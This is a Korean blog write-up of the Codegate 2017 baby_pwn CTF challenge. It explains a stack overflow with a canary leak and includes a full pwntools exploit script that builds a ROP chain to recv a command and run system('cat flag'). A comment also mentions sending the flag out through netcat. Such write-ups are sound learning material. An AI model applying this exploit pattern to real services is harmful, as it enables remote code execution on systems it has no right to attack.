ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2017 baby_pwn
    Pwnable/CTF 2017. 2. 20. 16:56



    코드게이트 당시에는 PORT가 8888이었지만 로컬연결로는 PORT는 8181이다. (대회당일날 버퍼값을 .. 10진수값을 넣어야하는것을 16진수로 넣어버려서 버퍼값을 잘못넣어버렷고 .. 문제를 보면 system함수를 주어지는데 그것을 보지못했다 ..  대회 당일날만 되면 풀 수 있는것들을 많이 놓쳐버리는것같아서 .. 연습 좀 많이해야할것같다 ㅠㅠㅠ .. )



    일단 저기에서 취약점은 BOF+Memory leak 이다. v2에 100만큼입력을받고 그것에 문자열 길이를 재고 출력을 시킨다.


    하지만 v2[bp-34h]-v3[bp-ch] 여기서 v3는 카나리 이기떄문에 34h-c = 10진수로 40 즉, 버퍼값은 40이다.  <- 버퍼값은 40인데 최대 100만큼 입력을 받는다는 것은 버퍼오버플로우 취약점이있다는뜻이다.



    그리고 함수별 기능은 1을 입력하면 내가 입력한 그대로 나오고 2를 입력하면 뒤에있는 것부터 출력을 시킨다. 3을 입력하면 사진에는 나와있지 않지만 GOODBYE를 출력하고 종료한다.





    하지만 이 사진을보면 카나리 뒤에 sfp가 아닌 더미 8byte가 보인다. 스택상황은 buffer[40]canary[4]dummy[8]sfp[4]ret[4] 이렇게될것이다.

    그리고 MAIN 함수를 보면 fork로 되어있기떄문에 카나리는 항상 일정하다.(서버 껏다 키면 카나리 바뀜)


    카나리 릭은 버퍼값 40을 치우고 카나는 메모리 릭 방지를 위해 첫 바이트는 00으로 시작하기 떄문에 버퍼값에 +1을 더한 아무 값이나 41개를 넣으면 카나리 릭이 될것이다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    #-*- coding: utf-8 -*-
    from pwn import *
    import hexdump
     
    p=remote("192.168.146.141",8181)
     
    def canary():
            print p.recvuntil('> ')
            p.sendline("1")
            print p.recvuntil('Message : ')
            p.sendline("A"*40)
            leak=p.recv(1024)[41:44]
            canary="\x00"+leak
            print "Canary : "+ hex(u32(canary))

    def exploit():
            print "Exploit Start"
            send_plt=0x08048700
            p4r=0x08048eec
            p3r=0x08048eed
            canary=0x58c4b900
            flag="cat flag 1>&4\00" #cat flag |nc host port (nc -lvp port)
            recv_plt=0x080486E0
            system=0x08048620
            payload="A"*40
            payload+=p32(canary)
            payload+="\x90"*12 #dummy+sfp
     
            payload+=p32(recv_plt)
            payload+=p32(p4r)
            payload+=p32(4)
            payload+=p32(bss)
            payload+=p32(len(flag))
            payload+=p32(0)
     
            payload+=p32(system)
            payload+=p32(0xaabbccdd)
            payload+=p32(bss)
            print p.recvuntil('> ')
            p.sendline("1")
            print p.recvuntil('Message : ')
            p.sendline(payload)
            print p.recvuntil('> ')
            p.sendline("3")
            p.sendline(flag)
            print p.recv(1024)
            print "Exploit End"

    #canary()
    exploit()
    cs



    (플래그는 코드게이트 대회 플래그를 얻어서 했다)


    recv함수에 플래그 인자가 있다는것을 까먹고있었다.

    'Pwnable > CTF' 카테고리의 다른 글

    PlaidCTF 2014 EZHP  (2) 2017.03.10
    codegate 2017 messenger  (1) 2017.03.08
    WITHCON malloc  (0) 2017.03.03
    Codegate2014 Angry_Doramon  (0) 2017.02.14
    PlaidCTF 2013 ropasaurusrex  (0) 2017.02.11
Designed by Tistory.